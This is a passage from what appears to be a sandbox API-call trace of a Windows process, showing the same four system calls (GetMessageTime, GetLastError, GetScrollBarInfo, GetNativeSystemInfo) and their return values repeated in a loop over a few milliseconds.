lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.373] GetMessageTime () returned 0 [0101.373] GetLastError () returned 0x578 [0101.373] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.373] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.373] GetMessageTime () returned 0 [0101.373] GetLastError () returned 0x578 [0101.373] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.373] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.374] GetMessageTime () returned 0 [0101.374] GetLastError () returned 0x578 [0101.374] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.374] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.374] GetMessageTime () returned 0 [0101.374] GetLastError () returned 0x578 [0101.374] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.374] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.374] GetMessageTime () returned 0 [0101.374] GetLastError () returned 0x578 [0101.374] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.374] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.374] GetMessageTime () returned 0 [0101.374] GetLastError () returned 0x578 [0101.374] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.374] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.374] GetMessageTime () returned 0 [0101.374] GetLastError () returned 0x578 [0101.374] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.374] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.374] GetMessageTime () returned 0 [0101.374] GetLastError () returned 0x578 [0101.374] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.374] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.375] GetMessageTime () returned 0 [0101.375] GetLastError () returned 0x578 [0101.375] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.375] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.375] GetMessageTime () returned 0 [0101.375] GetLastError () returned 0x578 [0101.375] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.375] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.375] GetMessageTime () returned 0 [0101.375] GetLastError () returned 0x578 [0101.375] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.375] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.375] GetMessageTime () returned 0 [0101.375] GetLastError () returned 0x578 [0101.375] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.375] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.375] GetMessageTime () returned 0 [0101.375] GetLastError () returned 0x578 [0101.375] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.375] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.375] GetMessageTime () returned 0 [0101.375] GetLastError () returned 0x578 [0101.375] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.375] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.376] GetMessageTime () returned 0 [0101.376] GetLastError () returned 0x578 [0101.376] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.376] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.376] GetMessageTime () returned 0 [0101.376] GetLastError () returned 0x578 [0101.376] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.376] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.376] GetMessageTime () returned 0 [0101.376] GetLastError () returned 0x578 [0101.376] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.376] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.376] GetMessageTime () returned 0 [0101.376] GetLastError () returned 0x578 [0101.376] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.376] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.376] GetMessageTime () returned 0 [0101.376] GetLastError () returned 0x578 [0101.376] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.376] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.376] GetMessageTime () returned 0 [0101.376] GetLastError () returned 0x578 [0101.377] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.377] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.377] GetMessageTime () returned 0 [0101.377] GetLastError () returned 0x578 [0101.377] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.377] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.377] GetMessageTime () returned 0 [0101.377] GetLastError () returned 0x578 [0101.377] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.377] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.377] GetMessageTime () returned 0 [0101.377] GetLastError () returned 0x578 [0101.377] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.377] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.377] GetMessageTime () returned 0 [0101.377] GetLastError () returned 0x578 [0101.377] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.377] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.377] GetMessageTime () returned 0 [0101.377] GetLastError () returned 0x578 [0101.377] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.377] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.378] GetMessageTime () returned 0 [0101.378] GetLastError () returned 0x578 [0101.378] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.378] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.378] GetMessageTime () returned 0 [0101.378] GetLastError () returned 0x578 [0101.378] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.378] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.378] GetMessageTime () returned 0 [0101.378] GetLastError () returned 0x578 [0101.378] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.378] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.378] GetMessageTime () returned 0 [0101.378] GetLastError () returned 0x578 [0101.378] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.378] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.378] GetMessageTime () returned 0 [0101.378] GetLastError () returned 0x578 [0101.378] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.378] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.378] GetMessageTime () returned 0 [0101.378] GetLastError () returned 0x578 [0101.378] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.378] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.379] GetMessageTime () returned 0 [0101.379] GetLastError () returned 0x578 [0101.379] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.379] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.379] GetMessageTime () returned 0 [0101.379] GetLastError () returned 0x578 [0101.379] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.379] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.379] GetMessageTime () returned 0 [0101.379] GetLastError () returned 0x578 [0101.379] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.379] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.379] GetMessageTime () returned 0 [0101.379] GetLastError () returned 0x578 [0101.379] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.379] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.379] GetMessageTime () returned 0 [0101.379] GetLastError () returned 0x578 [0101.379] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.379] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.379] GetMessageTime () returned 0 [0101.379] GetLastError () returned 0x578 [0101.380] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.380] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.380] GetMessageTime () returned 0 [0101.380] GetLastError () returned 0x578 [0101.380] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.380] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.380] GetMessageTime () returned 0 [0101.380] GetLastError () returned 0x578 [0101.380] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.380] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.380] GetMessageTime () returned 0 [0101.380] GetLastError () returned 0x578 [0101.380] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.380] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.380] GetMessageTime () returned 0 [0101.380] GetLastError () returned 0x578 [0101.380] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.380] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.380] GetMessageTime () returned 0 [0101.380] GetLastError () returned 0x578 [0101.380] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.380] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.380] GetMessageTime () returned 0 [0101.380] GetLastError () returned 0x578 [0101.381] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.381] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.381] GetMessageTime () returned 0 [0101.381] GetLastError () returned 0x578 [0101.381] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.381] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.381] GetMessageTime () returned 0 [0101.381] GetLastError () returned 0x578 [0101.381] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.381] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.381] GetMessageTime () returned 0 [0101.381] GetLastError () returned 0x578 [0101.381] 